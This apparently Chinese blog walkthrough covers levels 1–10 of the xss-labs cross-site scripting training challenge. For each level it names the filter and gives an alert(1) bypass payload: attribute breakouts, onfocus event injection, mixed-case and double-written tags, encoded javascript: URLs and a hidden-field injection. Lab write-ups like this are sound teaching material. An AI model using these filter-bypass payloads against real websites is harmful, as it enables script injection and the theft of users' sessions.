> 文章列表 > XSS挑战赛(xsslabs)1~10关通关解析

XSS挑战赛(xsslabs)1~10关通关解析

XSS挑战赛(xsslabs)1~10关通关解析

简介

XSS挑战赛,里面包含了各种XSS的防御方式和绕过方式,好好掌握里面的绕过细节,有助于我们更好的去发现XSS漏洞以及XSS的防御。本文更多的是分享解析的细节,不是一个标准的答案,希望大家在渗透的时候有更多的思维。

挑战开始

Level1

通关过程

XSS挑战赛(xsslabs)1~10关通关解析
第一关总的来说,比较简单,直接先尝试:
XSS挑战赛(xsslabs)1~10关通关解析

payload

<script>alert(1)</script>

Level2

通关过程

直接尝试payload:
XSS挑战赛(xsslabs)1~10关通关解析
查看源码:
XSS挑战赛(xsslabs)1~10关通关解析
想办法去逃逸输入框:
XSS挑战赛(xsslabs)1~10关通关解析
XSS挑战赛(xsslabs)1~10关通关解析

payload

a"><script>alert(1)</script>

Level3

通关过程

直接尝试:
XSS挑战赛(xsslabs)1~10关通关解析
发现没有弹窗,审核源码:
XSS挑战赛(xsslabs)1~10关通关解析
到这里说明,不能再输入标签了,所以需要转换思路,这个地方标签不行,那我们就尝试事件,这个地方考虑使用onfocus事件:’ οnfοcus='alert(1)
这个单引号就是为了闭合value的单引号。
XSS挑战赛(xsslabs)1~10关通关解析

paylaod

' οnfοcus='alert(1)

Level4

通关过程

直接尝试:
XSS挑战赛(xsslabs)1~10关通关解析
分析源码:感觉和第三关思路一致
XSS挑战赛(xsslabs)1~10关通关解析
尝试: " οnfοcus="alert(1)
XSS挑战赛(xsslabs)1~10关通关解析

payload

" οnfοcus="alert(1)

Level5

通关过程

直接尝试:
XSS挑战赛(xsslabs)1~10关通关解析
意味着不能输入script标签了,换思路,用事件:" οnfοcus="alert(1)
XSS挑战赛(xsslabs)1~10关通关解析
考虑这个地方有没有可能是个黑名单机制呢?换不常用的事件:
XSS挑战赛(xsslabs)1~10关通关解析
看来过滤的比较讲究,那么我们试试逃逸输入框,用其他标签来试试:
">jack
XSS挑战赛(xsslabs)1~10关通关解析
点击通关:
XSS挑战赛(xsslabs)1~10关通关解析

payoad

"><a href="javascript:alert(1)">jack</a>

Level6

通关过程

直接尝试:
XSS挑战赛(xsslabs)1~10关通关解析
直接尝试:">jack

XSS挑战赛(xsslabs)1~10关通关解析
XSS挑战赛(xsslabs)1~10关通关解析
尝试大小写绕过:">jack
XSS挑战赛(xsslabs)1~10关通关解析
XSS挑战赛(xsslabs)1~10关通关解析

payload

"><a HrEf="javascript:alert(1)">jack</a>

Level7

通关过程

直接尝试:
XSS挑战赛(xsslabs)1~10关通关解析
双写?alert(1)
XSS挑战赛(xsslabs)1~10关通关解析XSS挑战赛(xsslabs)1~10关通关解析
尝试:">alert(1)

XSS挑战赛(xsslabs)1~10关通关解析

payload

"><scrscriptipt>alert(1)</scscriptript>

Level8

通关过程

直接尝试:
XSS挑战赛(xsslabs)1~10关通关解析
看源码:
XSS挑战赛(xsslabs)1~10关通关解析
那么伪协议?
javascript:alert(1)
XSS挑战赛(xsslabs)1~10关通关解析
这个地方多半对事件也进行了处理,双写就不用试了,因为没有删除关键字
考虑到unicode是支持所有的编码,那么转成这个编码看行不行:
XSS挑战赛(xsslabs)1~10关通关解析
所以直接尝试:
XSS挑战赛(xsslabs)1~10关通关解析

payload

javascript:alert(1)

Level9

通关过程

直接尝试:
XSS挑战赛(xsslabs)1~10关通关解析
需要一个合法链接?
那么输入:javascript:alert(1);//http://www.baidu.com
XSS挑战赛(xsslabs)1~10关通关解析
还是被处理了,那么用和8关相同的编码试试:
javascript:alert(1)//http://www.baidu.com

XSS挑战赛(xsslabs)1~10关通关解析

payload

javascript:alert(1)//http://www.baidu.com

Level10

通关过程

直接尝试:
XSS挑战赛(xsslabs)1~10关通关解析
看来被实体化了。看源码:
XSS挑战赛(xsslabs)1~10关通关解析
尝试着传递这几个隐藏域的值:
XSS挑战赛(xsslabs)1~10关通关解析
构造逃逸:t_sort=a" οnfοcus=“alert(1)”>
XSS挑战赛(xsslabs)1~10关通关解析
继续构造:t_sort=a" οnfοcus=“alert(1)” type="text
XSS挑战赛(xsslabs)1~10关通关解析

payload

&t_sort=a" οnfοcus="alert(1)" type="text